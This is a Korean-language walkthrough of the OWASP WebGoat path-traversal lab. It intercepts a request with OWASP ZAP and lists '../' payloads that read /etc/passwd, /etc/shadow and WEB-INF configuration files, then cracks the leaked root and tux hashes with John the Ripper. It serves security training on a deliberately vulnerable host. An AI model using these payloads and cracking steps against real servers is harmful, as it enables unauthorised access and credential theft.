#웹해킹 실습
#OWASP WebGoat
#실습설명서
#경로조작
#Path Traversal
#A4-Insecure Direct Object References
#/etc/passwd
#/etc/shadow
#무작위대입공격
#John the Ripper
WebGoat 경로접근 우회(경로조작) 실습설명서
이 문서는 WebGoat 7.0.1의 "Access Control Flaws " > "Bypass a Path Based Access Control Scheme "의 실습 설명서이다.
열람하려는 파일의 경로를 임의로 변경하여 시스템 파일을 읽을 수 있는 "경로조작(Path Traversal)"
취약점을 살펴볼 수 있다.
WH-WebGoat-7.0.1 웹해킹 훈련장을 구동한다.
구동에 관해서는 WH-WebGoat-7.0.1 라이브 ISO 문서를 참조한다.
여기서 WebGoat 훈련장의 IP주소는 192.168.189.238 이다.
WebGoat 실행이 완료되면 파이어폭스(FireFox) 웹브라우저로 훈련장에 접속한다.
훈련장 URL은 http://192.168.189.238:8080/WebGoat/ 이다.
다른 터미널을 이용하여 owasp-zap 을 실행한다.
firefox http://192.168.189.238:8080/WebGoat/
owasp-zap 2&> /dev/null
Firefox의 HTTP 프록시 설정 변경
Firefox의 환경설정(Preferences) > 고급(Advanced) > 네트워크(Network) >
설정(Settings) > 프록시 수동 설정(Manual proxy configuration) 을 선택한다.
HTTP 프록시(HTTP Proxy) 는 "127.0.0.1 ",
포트(Port) 는 "8080 "로 입력하고
모든 프로토콜에 위의 프록시 설정 사용(Use this proxy server for all protocols) 를
지정한다.
OWASP ZAP은 8080 포트에서 프록시 기능을 수행한다.
이제 "확인(OK) "을 누르면 파이어폭스가 HTTP 요청을 8080 포트의 OWASP-ZAP으로 보내고
OWASP-ZAP은 HTTP 요청을 웹서버로 대신 보내고 결과를 받아서 파이어폭스로 되돌려 준다.
[ ↑ FireFox의 HTTP Proxy 설정 화면 ]
Bypass a Path Based Access Control Scheme 공략
[ ↑ Bypass a Path Based Access Control Scheme 접속 화면 ]
OWASP-ZAP의 상단 중간의 동그란 녹색 버턴("Set break on all request and reponses")을 눌러서
빨간색으로 만든다.
이 경우 OWASP ZAP은 모든 HTTP 요청과 응답을 파이어폭스로 바로 보내지 않고 사용자의 입력을 기다린다.
파이어폭스로 "Bypass a Path Based Access Control Scheme" 페이지로 들어가서
SoapRequest.html 를 선택하고 "View File"을 누른다.
[ ↑ 요청시 OWASP-ZAP에서 멈춤을 선택한 화면 ]
OWASP-ZAP은 위와 같은 화면을 보여주며 HTTP 통신을 일단 잡은 상태에서 멈춰서 있다.
동그란 빨간색 단추 바로 옆에 있는 이중 삼각형 단추를 누르면 HTTP 통신을 하나씩 진행시킬 수 있다.
일단 OWASP-ZAP에서 "View File"의 HTTP 요청은 다음과 같음을 알 수 있다.
GET http://192.168.189.238:8080/WebGoat/attack?Screen=497&menu=200&File=SoapRequest.html&SUBMIT=View+File HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Referer: http://192.168.189.238:8080/WebGoat/start.mvc
Cookie: JSESSIONID=65D515D3545E6BD16B43678E4A2D5216
Connection: keep-alive
Host: 192.168.189.238:8080
File 변수에 열람하고자 하는 파일 이름이 전달된다.
이 변수에 다음과 같이 다양한 값들을 입력해보자(OWASP ZAP에서 서버로 전달하기 전에 값을 고치면 된다).
File=../../../../../../../../../../etc/passwd
File=../../../../../../../../../../etc/shadow
File=../../../../../WEB-INF/spring-security.xml
File=../../../../../WEB-INF/web.xml
File=../../../../../main.jsp
/etc/shadow 파일을 읽을 수 있다!!!
[ ↑ OWASP-ZAP에서 File 변수 조작으로 유출한 /etc/shadow ]
/etc/shadow 파일은 root 만이 접근할 수 있는 파일이다.
따라서 WH-WebGoat-7.0.1.iso 로 구동한 WebGoat 훈련장은 root 권한으로
실행중이라는 것을 알 수 있다.
이러한 구성은 실제로도 Apache Tomcat을 기반으로 하는 웹서비스에서 종종 발견되는 취약점이다.
이 때문에 자동화 공격을 통해 Apache Tomcat의 기본관리자 인터페이스를
탐색하는 로그들이 자주 발견된다.
root@kali:~# cat webgoat-shadow
root:$1$kWNZBwjn$qo2X2hNoh5KarHWGHY8D31:17135:0:99999:7:::
nobody:*:13509:0:99999:7:::
www:*:13509:0:99999:7:::
tux:$1$OkIe7w5X$RvToc./pGnd4oLfpCKuJG0:17135:0:99999:7:::
root@kali:~# time john webgoat-shadow
Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
root (root)
(tux)
2g 0:00:00:00 DONE 2/3 (2016-12-07 21:33) 11.11g/s 16400p/s 16405c/s 16405C/s money..hello
Use the "--show" option to display all of the cracked passwords reliably
Session completed
real 0m0.352s
user 0m0.140s
sys 0m0.064s
root@kali:~#
John the Ripper를 이용하여 유출한 /etc/shadow 파일로 부터
root 와 tux 계정의 비밀번호를 깰 수 있다.
이 서버는 매우 취약하게 설정되어 있다.
다행스럽게도(?) WebGoat 훈련장은 외부에서의 SSH 접속을 허용하지 않는다.
하지만 이 서버에 운영체제 명령어 삽입 취약점이나 웹쉘 업로드 취약점이 존재하면
외부 공격자가 웹을 통해서 서버를 장악할 수 있게 된다.
이러한 경로조작 취약점이 발생하면 공격자는 소스를 읽어서 소스 수준에서 취약점을
분석함으로써 개발자가 인지하지 못하는 다양한 취약점을 알아낸 후 서버를 장악할 수 있게 된다.
[처음 작성한 날: 2016.12.07]
[마지막으로 고친 날: 2016.12.07]
< 이전 글 : WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (2016.11.30)
> 다음 글 : WebGoat, LAB: DOM-Based cross-site scripting (2016.12.08)
이 저작물은 크리에이티브
커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
__
/ PHP는 성숙되지 않은 아마츄어에 의해 \
| 눈에 띄게 저질러지는 작은 악이라면, |
| Perl은 숙련되었지만 비정상적인 |
| 프로들에 의해 눈에 띄지 않게 |
| 저질러지는 커다란 악이다. |
| |
\ - Jon Ribbens, 개발자 /
--
\ ,+*^^*+___+++_
\ ,*^^^^ )
\ _+* ^**+_
\ +^ _ _++*+_+++_, )
_+^^*+_ ( ,+*^ ^ \+_ )
{ ) ( ,( ,_+--+--, ^) ^\
{ (@) } f ,( ,+-^ __*_*_ ^^\_ ^\ )
{:;-/ (_+*-+^^^^^+*+*<_ _++_)_ ) ) /
( / ( ( ,___ ^*+_+* ) < < \
U _/ ) *--< ) ^\-----++__) ) ) )
( ) _(^)^^)) ) )\^^^^^))^*+/ / /
( / (_))_^)) ) ) ))^^^^^))^^^)__/ +^^
( ,/ (^))^)) ) ) ))^^^^^^^))^^) _)
*+__+* (_))^) ) ) ))^^^^^^))^^^^^)____*^
\ \_)^)_)) ))^^^^^^^^^^))^^^^)
(_ ^\__^^^^^^^^^^^^))^^^^^^^)
^\___ ^\__^^^^^^))^^^^^^^^)\\
^^^^^\uuu/^^\uuu/^^^^\^\^\^\^\^\^\^\
___) >____) >___ ^\_\_\_\_\_\_\)
^^^//\\_^^//\\_^ ^(\_\_\_\)
^^^ ^^ ^^^ ^
|
.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ ..
...... ... ... ] .. [ .../ ..../ ......./ ..
./// ../ ... .. ...
.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ...
...| ..../ ./ ... / ..| ....| ........ / ... / ....
...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / ....
...| ..../ ./ ... / ..| ....| ........ / ... / ....
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
|